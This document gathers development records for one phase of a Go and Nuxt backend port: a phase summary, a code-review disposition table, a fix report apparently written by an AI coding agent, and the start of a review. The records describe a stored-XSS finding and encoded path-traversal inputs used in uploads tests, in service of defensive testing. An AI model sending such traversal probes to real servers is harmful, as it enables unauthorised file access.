**Every Go piece the phase added now fails a named test when it regresses: the seed's environment gate, shape and idempotency, the commands' own database, the local marker, the uploads mount and the access log. A Nuxt contract pins the `E2E_BACKEND=go` switch. `scripts/check-phase14.2.sh --all` runs all of it plus parity, the guard refusals and the Go-gate Playwright subset, and ends with `Phase 14.2 gate passed`.**
## Performance
- **Duration:** about 60 min (2026-10-11T21:06Z to 22:06Z)
- **Tasks:** 3 (tracer, auto TDD, auto)
- **Repos:** summercms.go (3 code commits), fonoteka.go (2), vue-fonoteka-app (1)
## Accomplishments
- **Seed tests (console package, shared testcontainer):**
- `TestDevSeedRefusesProduction` needs no database: the refused environments return `refused in environment`, print nothing and publish no handle. `local` and `dev` get past the gate and fail on a closed port.
- `TestDevSeedShape` checks the user flags and bcrypt hash, the context collection, three albums with one public PNG cover each whose blob is in the mem bucket, the wishlist, the rating, the token hash against the printed `inv_` secret and `search_use_typesense`. It also covers the `demo@example.com` / `changeme` fallback and `DEV_SEED_API_TOKEN` values without the prefix (`tok_…`, bare `inv_`, `INV_…`): each is refused with no row in any of nine tables. A value with the prefix is stored by its hash and never printed.
- `TestDevSeedIdempotent`: the rerun prints the same entities, all `unchanged`, with no secret and no new row. A new `E2E_PASSWORD` prints only `user: updated`.
- **Own-database tests (plugin root):** the four commands are taken from the plugin's own `Commands()` and run in fresh processes. Each publishes a `*gorm.DB` carrying the `fonoteka:album_artist_resolver` callback, which proves the `OnDatabase` hooks ran. None prints `database is not configured`. `TestDevMarkerRoute` covers local, dev, unset, production, development and testing, and reads `parity/manifest.yaml`.
- **Framework tests (surf):**
- `TestUploadsMount` uses its own Postgres container with `system_files` and a mem bucket.
- `TestAccessLog` runs next to `TestAccessLogSmoke` with the `acme.blog` fixture and the in-package path locale resolver.
- **Gate script:** every stage named in the plan. Self-test plants detector events, Playwright reports, Go logs and TAP summaries. The guard stage plants six refusal cases plus a passing control case.
## Gate result
```
PASS self-test
PASS go
PASS docs
PASS parity (recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0)
PASS contracts (blocking: e2e-backend-switch 9/9; report only: pnpm test:contracts 287/288)
PASS guard (php-port, internal-unset, mismatch, production, fake-php, other-marker refused; control passed)
PASS e2e (Go gate expected=17 unexpected=0 skipped=0 flaky=0; D-15 report only expected=19 unexpected=22)
Phase 14.2 gate passed
```
## Task Commits
1. **Task 1 (tracer): the gate runs the seed refusal through the detector**
- fonoteka.go `916d9cf` test(14.2-04): dev-seed refuses every environment but local and dev before opening anything
- summercms.go `46eee17` test(14.2-04): check-phase14.2.sh runs the seed refusal through the skip-intolerant detector
- Tracer gate: the verify passed, a re-run of `--all` passed (end-of-phase mode, automated verify), then I expanded.
2. **Task 2: unit tests for the seed, the commands, the marker, uploads and the access log**
- fonoteka.go `49af991` test(14.2-04): dev-seed shape and idempotency, own-database commands, local marker
- summercms.go `2c5c058` test(14.2-04): uploads mount and access log unit tests; the uploads route owns its prefix
3. **Task 3: Nuxt contract and the remaining gate stages**
- vue-fonoteka-app `6d60e42` test(14.2-04): contract for the E2E_BACKEND=go seed switch
- summercms.go `78d7241` test(14.2-04): check-phase14.2.sh docs, parity, contracts, guard and e2e stages
## Decisions Made
See `key-decisions` in the frontmatter.
## Deviations from Plan
### Auto-fixed Issues
1. **[Rule 1 - Bug] A plugin route under the uploads prefix did not fail BuildRouter.**
- **Found during:** Task 2, by `TestUploadsMount` (written first, failing).
- **Issue:** only an identical `GET {prefix}/{path...}` pattern failed, and only later at `Assemble` (duplicate route). A plugin route like `/storage/uploads/avatars/{id}` was accepted and took over part of the uploads URL space.
- **Fix:** `mountUploads` refuses any route at or under the prefix, so `BuildRouter` returns the error, as `checkAdminPrefix` does for the admin prefix. A sibling path (`/storage/uploadsx/…`) and the key off are unaffected. The surf README and docs/services/storage.md now say this. The real fonoteka binary still boots with the key on (`dev-stack.sh up` after the change).
- **Files:** modules/surf/uploads.go, modules/surf/README.md, docs/services/storage.md. **Commit:** 2c5c058.
2. **[Rule 3 - Blocking] `--contracts` scoped to the phase's own contract test.** The whole `pnpm test:contracts` suite fails 1 of 288 on `missing-catalog.test.mjs`, which predates this phase (deferred-items.md, plan 03). Following the coordinator's instruction, the blocking run is `node --test tests/contracts/e2e-backend-switch.test.mjs` with a strict TAP check: tests > 0, all pass, and no fail, skip, todo or cancel. The whole suite still runs, and its counts and the failing test name are printed, but it does not block. **Commit:** 78d7241.
3. **[Rule 3 - Blocking] TMPDIR not forced into the fonoteka.go tree.**
- **Issue:** with `TMPDIR=fonoteka.go/tmp/dev-stack/go-tmp` (the coordinator's instruction), the framework's `internal/build` scaffold tests and `TestWatchHelloWorkspaceRebuildLatency` failed. One scaffold test added a `use ./tmp/dev-stack/go-tmp/TestScaffoldCoreArtifacts…` line to `fonoteka.go/go.work`; I reverted it with `git checkout -- go.work` before any commit. A concurrent `go test ./...` in fonoteka.go also listed the build directories as packages.
- **Fix:** the gate leaves TMPDIR to the caller (`PHASE142_TMPDIR` overrides). The Go tests do not need the on-device TMPDIR: their buckets live in `t.TempDir()`. `dev-stack.sh` already sets its own TMPDIR for the Go processes and for Playwright. Logged in deferred-items.md.
4. **[Rule 2 - Missing coverage] `--go` tests the fonoteka plugin module too.** `go -C fonoteka.go test ./...` covers only the root module (`app`, `parity`, `scripts`). The plugin is a separate workspace module, so the stage also runs `go vet` and `go test ./...` in `plugins/golem15/fonoteka`.
5. **[Rule 2 - Stronger evidence] Guard cases check the refusal reason, and a control case must pass.** Each planted case must exit non-zero and print a `refuse:` line naming its own reason (port 8422, unset, differ, not loopback, X-Powered-By: PHP, the summercms marker). A fake SummerCMS marker must pass the same guard. All cases run in `env -i`, so the developer's shell cannot change them.
6. **[Plan text vs. behaviour] Raw `..` traversal is a ServeMux redirect, not a 404.** ServeMux answers a raw dot-dot path with a 307 to the cleaned path before any handler runs. The test therefore follows the redirect, requires a `Location` without `..`, and requires that the cleaned path is refused (404) with no blob bytes. Encoded traversal (`%2f`, `%2e%2e`, `%5c`) reaches the handler and gets a 404 with nosniff.
### Acceptance criterion not met as written
- **`grep -c 't.Skip' modules/surf/uploads_test.go` prints 1, not 0.**
- The Postgres helper `uploadsGorm` calls `t.Skip` only under `-short`. The project's CLAUDE.md requires Docker-backed tests to skip under `-short`, and CLAUDE.md overrides the plan.
- An unavailable Docker daemon is still a `t.Fatalf`, never a skip.
- The gate never runs `-short`, and its detector refuses any skipped test or subtest (planted case `subtest-skip`).
- `dev_stack_test.go` and `dev_marker_test.go` contain no `t.Skip`. They reach the existing `bootDB` helper, which skips under `-short` only.
**Total deviations:** 5 auto-fixed (1 bug, 2 blocking, 2 coverage), 1 plan-text clarification, 1 acceptance grep deviation driven by CLAUDE.md. **Impact:** one framework behaviour change (uploads prefix ownership), documented. No other production code changed.
## Issues Encountered
- **Vite cold start after a fresh `up`.** The first `--all` run came right after I restarted the stack, so the binary would include this plan's code. Its `--e2e` stage failed: `auth.setup.ts` got Nuxt's 500 page "Failed to fetch dynamically imported module …/layouts/public.vue", so 16 tests were skipped and `e2e-verdict` refused the run, as designed. go.log showed no 5xx. On the warm server the same specs passed 17/0/0/0, and the final `--all` run passed. The gate does not retry. Logged in deferred-items.md with options.
- **D-15 report-only specs:** expected=19 unexpected=22 on Go. They are reported, not gated, per D-15. go.log had no 5xx and no `album search engine failed` after them.
- **Pre-existing:** gofmt drift in `fonoteka.go/plugins/golem15/fonoteka/household_smoke_test.go`, out of scope.
## Verification
- `bash scripts/check-phase14.2.sh --all`: exit 0. Last line: `Phase 14.2 gate passed`.
- `--go` covers `go vet ./...` and `go test ./... -count=1` in summercms.go (Docker), in the fonoteka.go root module and in the fonoteka plugin module. The named tests passed through the detector: console (4), plugin (5) and surf (3).
- `shellcheck scripts/check-phase14.2.sh` is clean, and `bash -n` passes on it and on dev-stack.sh.
- Plan acceptance greps pass, except the `t.Skip` grep noted above.
- `git status` after the run:
- fonoteka.go: only the other sessions' submodule pointers (feedback, golem, user). `go.work` is unchanged.
- vue-fonoteka-app: clean.
- summercms.go: only `.planning/state.json` and `.msd/` (other sessions), plus this plan's planning docs.
## Left running
The Go and Nuxt dev stack is up (`dev-stack.sh status`: Go on 127.0.0.1:8423, Nuxt on :3119). I restarted it once with `down` + `up --detach` so the binary includes this plan's framework change, and left it running.
## Next Phase Readiness
`/msd-verify-work 14.2` can use `bash scripts/check-phase14.2.sh --all`. The services must be up and the Nuxt server warm (load one page, or run `--e2e` twice after a fresh `up`). `14.2-VALIDATION.md` statuses are left for `/msd-validate-phase 14.2`, as the plan says.
## Self-Check: PASSED
All created files exist. Commits: summercms.go 46eee17, 2c5c058, 78d7241. fonoteka.go 916d9cf, 49af991. vue-fonoteka-app 6d60e42.

View File

@@ -18,6 +18,7 @@ Repos: `fonoteka.go` (seed command, start script, dev env template, any Go fixes
### Local data
- **D-01:** Local data comes from `fonoteka migrate` followed by a new seed command. The Phase 20 `import:winter` runner is not pulled forward, and PHP data is not imported in this phase.
- **D-02:** The seed is an application command, `fonoteka dev:seed` (final name at the planner's discretion), in the fonoteka plugin, not a framework seeder hook. It refuses to run unless the app environment is local/dev, and it is idempotent: a second run changes nothing. It creates:
- *Amended 2026-10-12 (code review WR-05, accepted by the developer):* the seed, the backend marker route and `dev-stack.sh` accept `SUMMER_ENV=local` only; `dev` is refused because it is a common name for shared servers. The seed also refuses to modify an existing user it did not create (opt-in `DEV_SEED_RESET_EXISTING=1`) and a token row owned by another user.
- a verified user;
- an owned collection;
- a few albums;
@@ -46,6 +47,7 @@ Repos: `fonoteka.go` (seed command, start script, dev env template, any Go fixes
- **D-10:** The marker is a route only the Go binary serves (an existing framework health/readiness route, or the smallest new one) that stays **outside the parity manifest**. No manifest route's response changes, and no new header is added to API responses.
- **D-11:** `vue-fonoteka-app` may receive **small non-breaking changes** (user's decision). The constraint: the app must still run without issues against the PHP backend. Gaps found during the session are fixed in Go first, with a parity case added where a recorded PHP response exists. An app change is acceptable only when it leaves PHP behavior unchanged (for example an env-switched test helper, a new backend-agnostic spec, or docs and `.env.example` notes). Commits in `vue-fonoteka-app` go to its own repo, which is a submodule of the PHP `fonoteka` repo.
- **D-12:** Failures show up through the Go request log, which is redacted by sunscreen and records each request's path and status, and through Nuxt's normal behavior. The script tees both processes into labeled log files, and the run docs say to watch them for 4xx/5xx and 404 responses. No 404 tally or dev-only error UI is added.
- *Amended 2026-10-12 (code review WR-01, accepted by the developer):* the Go request log never records the URL path, not even for unmatched requests, because share and invitation tokens travel in paths. It records method, matched pattern, status and duration. An unported route shows as `status=404 pattern=""`; take the path from the browser network tab.
### Flow proof
- **D-13:** The flows are proven twice:

View File

@@ -0,0 +1,118 @@
---
phase: 14.2
review: 14.2-REVIEW.md
titles: json
findings:
- id: WR-01
severity: warning
disposition: fixed
title: "Access log writes share and invitation tokens for 405 and 404 responses on token routes"
- id: WR-02
severity: warning
disposition: fixed
title: "499 remap hides real server errors whenever the client has gone away"
- id: WR-03
severity: warning
disposition: fixed
title: "Uploads route serves the stored content type verbatim on the app origin (stored XSS via text/html)"
- id: WR-04
severity: warning
disposition: fixed
title: "`storage.uploads.public_path_prefix` is not validated: a non-path prefix either fails boot or silently 404s every upload"
- id: WR-05
severity: warning
disposition: fixed
title: "`fonoteka:dev-seed` takes over existing accounts and tokens behind a single environment-name gate"
- id: WR-06
severity: warning
disposition: fixed
title: "Minted API token secret persisted to a group/world-readable file and echoed into Playwright output"
- id: WR-07
severity: warning
disposition: fixed
title: "Phase gate `--e2e` can verify a stale binary"
- id: WR-08
severity: warning
disposition: fixed
title: "go.log 5xx scan passes when the access log is off"
- id: WR-09
severity: warning
disposition: fixed
title: "Realtime spec accepts any publication on the channel, including another spec's"
- id: IN-01
severity: info
disposition: open
title: "Env file parser exports arbitrary keys, so \"never executed\" is not quite true"
- id: IN-02
severity: info
disposition: open
title: "Postgres loopback check can be bypassed by `hostaddr` or a query `host`"
- id: IN-03
severity: info
disposition: open
title: "`down` signals recorded process groups without checking they are still this stack's"
- id: IN-04
severity: info
disposition: open
title: "Seed validates `DEV_SEED_API_TOKEN` only after writing cover blobs, leaving orphans on refusal"
- id: IN-05
severity: info
disposition: open
title: "Seed's token \"unchanged\" check ignores expiry and scopes"
- id: IN-06
severity: info
disposition: open
title: "`marker_ok` does not check the app name"
- id: IN-07
severity: info
disposition: open
title: "statusRecorder records a 1xx informational status as the final status"
- id: IN-08
severity: info
disposition: open
title: "Gate header overstates what the whole-suite Go runs check"
- id: IN-09
severity: info
disposition: open
title: "Hard-coded absolute developer path in a framework script"
- id: IN-10
severity: info
disposition: open
title: "Search spec relies on the \"other\" album appearing on the first page after clearing"
- id: IN-11
severity: info
disposition: open
title: "Test cleanups ignore errors; `goDir` mis-resolves a relative `E2E_GO_BIN`"
open: 11
total: 20
recorded: 2026-10-12T10:23:19.844Z
---
# Phase 14.2: Code Review Disposition
| Finding | Severity | Disposition | Source |
|---------|----------|-------------|--------|
| WR-01 | warning | fixed | 14.2-REVIEW-FIX.md |
| WR-02 | warning | fixed | 14.2-REVIEW-FIX.md |
| WR-03 | warning | fixed | 14.2-REVIEW-FIX.md |
| WR-04 | warning | fixed | 14.2-REVIEW-FIX.md |
| WR-05 | warning | fixed | 14.2-REVIEW-FIX.md |
| WR-06 | warning | fixed | 14.2-REVIEW-FIX.md |
| WR-07 | warning | fixed | 14.2-REVIEW-FIX.md |
| WR-08 | warning | fixed | 14.2-REVIEW-FIX.md |
| WR-09 | warning | fixed | 14.2-REVIEW-FIX.md |
| IN-01 | info | open | - |
| IN-02 | info | open | - |
| IN-03 | info | open | - |
| IN-04 | info | open | - |
| IN-05 | info | open | - |
| IN-06 | info | open | - |
| IN-07 | info | open | - |
| IN-08 | info | open | - |
| IN-09 | info | open | - |
| IN-10 | info | open | - |
| IN-11 | info | open | - |
Dispositions: `open` (recorded, not yet triaged), `fixed`, `skipped`, `deferred`.
Set `deferred` by hand and put the reason in the Source cell; both are preserved. A `|` in the reason is kept as prose and escaped on the next run.
Re-running the gate keeps every row it can. A row the current review no longer reports is kept and its Source cell flagged, so a finding does not leave this record silently. ONE exception: when a finding id is REUSED by a different finding, the earlier decision cannot keep a row — the id is taken — and it is dropped. A RECORDED decision (anything but `open`) is named on the console when that happens; a row still at `open` is replaced silently, because `open` records no decision to lose.

View File

@@ -0,0 +1,150 @@
---
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
fixed_at: 2026-10-12T10:20:00Z
review_path: .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-REVIEW.md
iteration: 1
findings_in_scope: 9
fixed: 9
skipped: 0
status: all_fixed
---
# Phase 14.2: Code Review Fix Report
**Fixed at:** 2026-10-12T10:20:00Z
**Source review:** .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-REVIEW.md
**Iteration:** 1
**Summary:**
- Findings in scope: 9 (WR-01 to WR-09; Info findings were out of scope)
- Fixed: 9
- Skipped: 0
Commits went to the repository that owns each file. Repositories: `summercms.go` (framework), `fonoteka.go` (app), `vue-fonoteka-app`. `workflow.use_worktrees` is `false`, so every edit and commit was made in the main checkouts.
## Fixed Issues
### WR-01: Access log writes share and invitation tokens for 405 and 404 responses on token routes
**Files modified:** `modules/surf/accesslog.go`, `modules/surf/accesslog_test.go`, `modules/surf/README.md`, `docs/services/logging.md`; fonoteka.go `README.md`
**Commits:** summercms.go `fbcfaaf`; fonoteka.go `560bb3e`
**Applied fix:** The request log no longer logs the URL path, not even for an unmatched request. It records `method`, `pattern` (empty when unmatched), `status` and `duration_ms`. New test cases: `POST /blog/posts/<secret>` (405) and `/blog/posts/<secret>/` (404). Both assert that the secret and the path are absent. The docs and the fonoteka README say that the Go log never shows a path.
### WR-02: 499 remap hides real server errors whenever the client has gone away
**Files modified:** `modules/surf/accesslog.go`, `modules/surf/router.go`, `modules/surf/accesslog_test.go`, `modules/surf/README.md`, `docs/services/logging.md`, `scripts/check-phase14.2.sh`
**Commit:** summercms.go `c30145e`
**Status:** fixed: requires human verification (logic change)
**Applied fix:** A 5xx is logged as 499 only when both of these hold:
- The request context had already ended with `context.Canceled` when the status was written. `statusRecorder` checks this at the first `WriteHeader`/`Write`.
- The handler did not panic. `recoverJSON` and `recoverBare` now mark the access entry through `markPanicked`.
A 5xx written before the client went away keeps its real status. A recovered panic is always 500. Every record of a request whose client went away carries `client_gone=true`. The handler's own error is not visible to the log. The heuristic "cancelled before the status was written" therefore stands in for "the error is the cancellation". A real error that happens after cancellation and does not panic would still log 499. That case needs a cancelled context, so it is narrow.
Tests cover seven cases:
- cancel, then 5xx
- live 5xx
- 5xx, then cancel
- 200, then cancel
- `recoverJSON` 5xx after cancel
- panic after cancel, through `recoverJSON`
- panic after cancel, through `recoverBare`
A gate self-test plants `status=500 ... client_gone=true` and checks that `scan_go_log` refuses it.
### WR-03: Uploads route serves the stored content type verbatim on the app origin (stored XSS via text/html)
**Files modified:** `modules/surf/uploads.go`, `modules/surf/uploads_test.go`, `modules/surf/README.md`, `docs/services/storage.md`, `docs/setup/configuration.md`
**Commit:** summercms.go `41a03b9`
**Applied fix:** Every uploads response now carries `X-Content-Type-Options: nosniff` and `Content-Security-Policy: default-src 'none'; img-src 'self'; media-src 'self'; sandbox`. A successful response whose type is not a raster image (jpeg, png, gif, webp, avif) gets `Content-Disposition: attachment`, on GET and HEAD. That covers HTML, SVG, PDF, text and a missing type. Error responses get no disposition. The disposition is decided when the status is written, after `attach.StaticHandlerPublic` set the type.
Tests:
- `TestUploadsResponseHeaders` (no Docker) runs a type matrix on GET and HEAD.
- `TestUploadsMount` (Docker) now stores a public `text/html` blob and asserts it is served as an attachment, while the png stays inline.
Checked live: a seeded `.jpg` cover is served through Nuxt as `200 image/jpeg` with the CSP and no disposition. The docs' "nosniff prevents HTML" claim is corrected.
### WR-04: `storage.uploads.public_path_prefix` is not validated: a non-path prefix either fails boot or silently 404s every upload
**Files modified:** `modules/surf/uploads.go`, `modules/surf/uploads_test.go`, `modules/surf/README.md`, `docs/services/storage.md`
**Commit:** summercms.go `01d2548`
**Applied fix:** A new function, `uploadsPrefix`, validates the prefix when `storage.uploads.serve` is on. It refuses:
- a missing leading slash
- a scheme or host
- `//`
- `{` or `}`
- `?` or `#`
- whitespace or a backslash
- an empty, `.` or `..` segment
- a bare `/`
The error names `storage.uploads.public_path_prefix` and says "absolute URL path". Test cases include `storage/uploads`, `storage/app/uploads/public`, `https://cdn.example.com/uploads` and `//cdn...`. Valid prefixes with a trailing slash or surrounding spaces pass. A CDN prefix also passes while `serve` is off.
### WR-05: `fonoteka:dev-seed` takes over existing accounts and tokens behind a single environment-name gate
**Files modified:** fonoteka.go `plugins/golem15/fonoteka/console/dev_seed.go`, `console/dev_seed_test.go`, `dev_marker.go`, `dev_marker_test.go`, `plugin.go`, `scripts/dev-stack.sh`, `.env.dev.example`, `README.md`; summercms.go `scripts/check-phase14.2.sh`
**Commits:** fonoteka.go `389a059`; summercms.go `8b835f3`
**Status:** fixed: requires human verification (behaviour change: `dev` is no longer accepted)
**Applied fix:**
- **Existing user:** a user with `E2E_EMAIL` and no `dev-seed-mcp` API token row (live or revoked) is one the seed did not create. The seed now refuses it before writing anything, unless `DEV_SEED_RESET_EXISTING=1`. The seed creates the user and the token in one transaction, so the token reliably marks seeded users. dev-stack.sh does not set the opt-in. The local demo user already carries the marker, so `up` reported `user: unchanged`.
- **Fixed token:** a `DEV_SEED_API_TOKEN` row owned by another user is refused and never reassigned. The error names the token id, never the secret. The update path no longer writes `user_id`.
- **Environment:** `console.DevEnvironment` accepts `local` only. The seed, the marker route (which shares it) and dev-stack.sh `load_env` all refuse `dev`. It is documented as a common name for a shared server. The running stack was already `env: local`.
- **Tests:** the new `TestDevSeedRefusesForeignRows` covers a foreign user (opt-in values "", 0, yes, true are refused; password and must_change_password are untouched; the counts do not change; `=1` takes the user over and later runs need no opt-in) and a token row owned by another user. `TestDevSeedRefusesProduction` and `TestDevMarkerRoute` now expect `dev` to be refused. The gate's `CONSOLE_REQUIRE` lists the new test.
The reviewer also suggested a seed-side check that the DSN host is loopback. It was not added: dev-stack.sh already enforces it, and the guidance for this fix did not require it.
### WR-06: Minted API token secret persisted to a group/world-readable file and echoed into Playwright output
**Files modified:** fonoteka.go `scripts/dev-stack.sh`, `README.md`; vue-fonoteka-app `tests/e2e/helpers/runTinker.ts`, `tests/contracts/e2e-backend-switch.test.mjs`; summercms.go `scripts/check-phase14.2.sh`
**Commits:** fonoteka.go `a5527e9`; vue-fonoteka-app `70eba9e`; summercms.go `bb5c2d3`
**Applied fix:**
- **dev-stack.sh:** `seed()` removes `seed.out`, then writes the seed output to it under `umask 077` (mode 600; the old file was 664 and `tee` would have kept that mode). The terminal gets the output through `redact_seed`, which replaces `created <secret> (shown once)`. A new `redact-seed` subcommand exposes the filter.
- **runTinker.ts:** the seed runs with `stdio: ['ignore', 'pipe', 'inherit']`, and stdout is echoed through the exported `redactSeedOutput`. The secret is also scrubbed from the thrown error's stdout and message.
- **Tests:** the contract test plants a secret in a fake seed and asserts it never reaches stdout or stderr (it failed before the fix). The gate self-test pipes a planted token line through `redact-seed`, and `--e2e` refuses unless `seed.out` has mode 600. After the restart it was 600.
### WR-07: Phase gate `--e2e` can verify a stale binary
**Files modified:** fonoteka.go `scripts/dev-stack.sh`, `README.md`; summercms.go `scripts/check-phase14.2.sh`
**Commits:** fonoteka.go `45ee468`; summercms.go `3159bc1`
**Applied fix:**
- **Build stamp:** `up` creates `build.stamp.pending` before `summer build`. Once Go answers, it moves the file to `tmp/dev-stack/build.stamp`, so the stamp's mtime is the moment the build started. `down` removes the stamp.
- **`fresh` subcommand:** refuses a missing stamp, or any file of the app or framework checkout newer than the stamp. It ignores .git, node_modules, testdata, .planning, .claude, .msd, tmp, storage, bin, parity, the framework's admin, docs and scripts, `*.md`, `*_test.go` and `*.golden`.
- **Already-up stack:** `up` on a stack that is already running warns when it is stale.
- **Gate:** `--e2e` restarts a running stack that `fresh` refuses (`down`, then `up --detach`, left running) and requires `fresh` to pass after `up`. The self-test plants an app and framework tree with five cases: clean, ignored files, a stale framework source, a stale app source and no stamp.
### WR-08: go.log 5xx scan passes when the access log is off
**Files modified:** summercms.go `scripts/check-phase14.2.sh`; fonoteka.go `scripts/dev-stack.sh`, `README.md`
**Commits:** summercms.go `1fb3fb9`, `f70a0a5`, `a082a05`; fonoteka.go `261d9bc`
**Applied fix:**
- **Scan:** `scan_go_log FILE OFFSET` still refuses a 5xx or a search-failure line anywhere in the file. It now also refuses unless the part written during this run has an `http request` record. `--e2e` takes the offset after `up`/`fresh`.
- **dev-stack.sh:** `check_keys` defaults `SUMMER_HTTP__ACCESS_LOG` and `SUMMER_STORAGE__UPLOADS__SERVE` to `true` when they are unset, and refuses any other value.
- **Self-tests:** no records, an empty log, records only before the offset, records after the offset, a long log, and planted env files with the request log or the uploads route off.
- **Follow-up `a082a05`:** the first version (`tail | grep -q` under `pipefail`) wrongly refused a long go.log that did have records: grep stopped at the first match and tail died of SIGPIPE. The gate run found it. The check now counts matches, and a 20000-line self-test case covers it.
### WR-09: Realtime spec accepts any publication on the channel, including another spec's
**Files modified:** vue-fonoteka-app `tests/e2e/realtime.spec.ts`
**Commit:** vue-fonoteka-app `4d8d525`
**Status:** fixed: requires human verification (test logic)
**Applied fix:** The spec takes a snapshot of `received.length` before `createAlbum`. The assertion then accepts only later frames on the channel whose `push.pub.data.payload.id` equals the created album's id. Both backends publish the `{event, payload, timestamp}` envelope (UAT Finding C; Go `AlbumBroadcastPayload`). It passed in the gate run. It was not shown failing before the fix, because the false pass depends on timing across parallel specs.
## Verification
Gates ran in the main checkouts of all three repositories (no worktree), with Go on 127.0.0.1:8423 and Nuxt on :3119.
- After the Go changes, the stack was restarted with `scripts/dev-stack.sh down` and then `up --detach` in fonoteka.go. The seed showed every entity `unchanged` and the token line `unchanged (secret not shown)`. The new `build.stamp` was written and `fresh` passed. Nuxt was warmed up with requests to /en, /en/albums, /en/login and /pl.
- **First `--all`:** every stage up to guard passed, then e2e failed. `auth.setup` timed out waiting to leave /login: the backend answered `POST /login` 200 and the post-login API calls 200, so this was Nuxt compiling the first post-login page cold, not a code failure. `--e2e` alone then passed with 17 expected and nothing unexpected, skipped or flaky.
- **Second `--all`:** e2e failed on the WR-08 SIGPIPE bug described above. It was fixed in `a082a05`.
- **Final `bash scripts/check-phase14.2.sh --all`:** every stage passed, from self-test, go (vet and full `go test ./...` with Docker in summercms.go, the fonoteka.go root and the fonoteka plugin) and docs, through parity (175/175), contracts (10/10 blocking) and guard, to e2e (17/0/0/0).
- **Report-only results:** specs 19 expected and 22 unexpected; `pnpm test:contracts` fails 1 of 289. Both are the same as before the fixes (earlier reports `e2e-20261011T213918Z`/`T215650Z`; `missing-catalog` is in deferred-items).
Last gate line: `Phase 14.2 gate passed`
The stack is still running (`dev-stack.sh status`: marker on Go and through :3119).
---
_Fixed: 2026-10-12T10:20:00Z_
_Fixer: Claude (msd-code-fixer)_
_Iteration: 1_

View File

@@ -0,0 +1,274 @@
---
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
reviewed: 2026-10-11T22:16:58Z
depth: standard
files_reviewed: 43
files_reviewed_list:
- modules/surf/uploads.go
- modules/surf/uploads_test.go
- modules/surf/accesslog.go
- modules/surf/accesslog_test.go
- modules/surf/router.go
- modules/surf/README.md
- docs/services/storage.md
- docs/services/logging.md
- docs/setup/configuration.md
- scripts/check-phase14.2.sh
- ../fonoteka.go/plugins/golem15/fonoteka/console/database.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/prune_notifications.go
- ../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go
- ../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go
- ../fonoteka.go/plugins/golem15/fonoteka/plugin.go
- ../fonoteka.go/plugins/golem15/fonoteka/routes.go
- ../fonoteka.go/plugins/golem15/fonoteka/classes/album_write_service.go
- ../fonoteka.go/plugins/golem15/fonoteka/classes/album_write_service_db_test.go
- ../fonoteka.go/scripts/dev-stack.sh
- ../fonoteka.go/.env.dev.example
- ../fonoteka.go/.gitignore
- ../fonoteka.go/config/storage.yaml
- ../fonoteka.go/config/http.yaml
- ../fonoteka.go/README.md
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/fonotekaApi.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/.env.example
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/smoke.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/login.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/fonoteka-item.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs
findings:
critical: 0
warning: 9
info: 11
total: 20
status: issues_found
---
# Phase 14.2: Code Review Report
**Reviewed:** 2026-10-11T22:16:58Z
**Depth:** standard
**Files Reviewed:** 43 (three repositories)
**Status:** issues_found
## Narrative Findings (AI reviewer)
## Summary
Reviewed the framework additions in summercms.go (the `storage.uploads.serve` route, the `http.access_log` request log, the router wiring, docs and the phase gate script), the fonoteka.go glue (`fonoteka:dev-seed`, `commandDatabase`/`commandBucket`, the local-only marker route, `dev-stack.sh`, env template, config and README) and the vue-fonoteka-app e2e changes (Go seed switch, new and repaired specs, contract test).
The four security properties the phase cares about hold in their main form:
- The marker route and the seed both depend on `console.DevEnvironment`. That function accepts only `local`/`dev`, and an unset `SUMMER_ENV` resolves to `production`. Tests cover the refusal cases.
- `attach.parsePublicBlobPath` and the `is_public` lookup block path traversal and private files on the uploads route. I checked this against `lagoon/attach/static.go` and `file.go`.
- A matched route never logs its query string, headers or raw path.
I found no BLOCKER. I did find nine WARNINGs:
- The access log's "no tokens in paths" promise breaks for 405 and 404 responses.
- The 499 remap can hide real 5xx responses from the gate.
- The uploads route serves a stored `text/html` content type on the app origin.
- `public_path_prefix` is not validated: a prefix that is not a path fails to mount, either loudly at boot or silently as 404s.
- The seed can take over existing accounts and tokens.
- The minted API token secret is written to a group/world-readable file.
- The gate can test a stale binary, and its 5xx log scan passes when the access log is off.
- The realtime spec can pass on another spec's publication.
## Warnings
### WR-01: Access log writes share and invitation tokens for 405 and 404 responses on token routes
**File:** `modules/surf/accesslog.go:70-72` (docs: `docs/services/logging.md` "Request log", `modules/surf/README.md`)
